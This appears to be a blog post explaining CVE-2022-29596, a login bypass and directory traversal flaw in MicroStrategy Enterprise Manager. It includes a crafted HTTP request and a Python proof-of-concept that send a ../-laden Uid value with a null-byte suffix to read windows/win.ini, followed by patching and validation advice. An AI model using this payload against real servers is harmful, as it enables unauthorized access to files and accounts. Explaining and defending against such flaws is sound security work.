MicroStrategy’s Enterprise Manager is widely used for business intelligence and analytics reporting. However, in 2022, a major vulnerability was discovered in the login system, tracked as CVE-2022-29596. This bug allows attackers to bypass authentication and perform directory traversal attacks using a specially crafted Uid parameter. In this post, we’ll break down the bug in plain language, walk through an exploit example, and provide references for further reading.

What is CVE-2022-29596?

CVE-2022-29596 refers to an authentication bypass vulnerability in MicroStrategy Enterprise Manager version 2022. By using directory traversal substrings in the username parameter, an attacker can trick the application into authenticating them or disclosing system files.

How the Exploit Works

During normal login, users enter a username and password. The backend checks if these credentials are valid. But if an attacker:

Triggers a login failure first.

2. Then tries again but *sets* Uid to a value containing lots of ../ path traversals, pointing to a file like windows/win.ini and URL-encoding a fake image extension (%00.jpg),

Here’s how you could craft a malicious HTTP request to exploit this bug

POST /EnterpriseManager/login HTTP/1.1
Host: victim-mstr-server.com
Content-Type: application/x-www-form-urlencoded

Uid=/../../../../../../../../../../../windows/win.ini%00.jpg&Pwd=any_password&ConnMode=1&3054=Login

Breakdown

- Uid climbs up many folders using ../ (directory traversal).
- {%00.jpg} is a null byte injection technique used in some exploits to stop the string at the file extension and evade filters.

The server's login handler interprets Uid not as a username but as a file path.

- It may read the specified file (win.ini) or mishandle the request, bypassing authentication or exposing sensitive data.

If the server is running as a privileged user, even more sensitive files can be accessed.

This means an attacker doesn't need real credentials — just this specially formatted request!

Proof-of-Concept Python Script

Here’s a simple Python snippet automating this attack (for educational and authorized testing only):

import requests

target = "http://victim-mstr-server.com/EnterpriseManager/login";
data = {
    'Uid': '/../../../../../../../../../../../windows/win.ini%00.jpg',
    'Pwd': 'anything',
    'ConnMode': '1',
    '3054': 'Login'
}

response = requests.post(target, data=data)
print("Status:", response.status_code)
print(response.text)  # This may contain contents of win.ini or signal successful bypass

*Note:* *Never* run this code against a server you don’t own or have explicit permission to test.

Upgrade: Check for and apply MicroStrategy patches or upgrades that address CVE-2022-29596.

- Input Validation: Ensure Uid and other parameters are sanitized. Do not allow directory traversal characters (../) in any user input.

References & Further Reading

- MicroStrategy Official Security Advisory  
 *(Look up CVE-2022-29596 in patch notes / bulletins)*
- NIST National Vulnerability Database Entry
- Directory Traversal Overview – OWASP
- Exploit-DB Proof of Concept *(or search by CVE-2022-29596 on Exploit-DB)*

Conclusion

CVE-2022-29596 is a critical flaw stemming from weak input validation in MicroStrategy Enterprise Manager’s login system. By leveraging directory traversal and protocol quirks, attackers can completely bypass authentication and steal sensitive data. Stay informed and make sure your systems are fully patched.

Timeline

Published on: 05/11/2022 20:15:00 UTC
Last modified on: 05/20/2022 16:47:00 UTC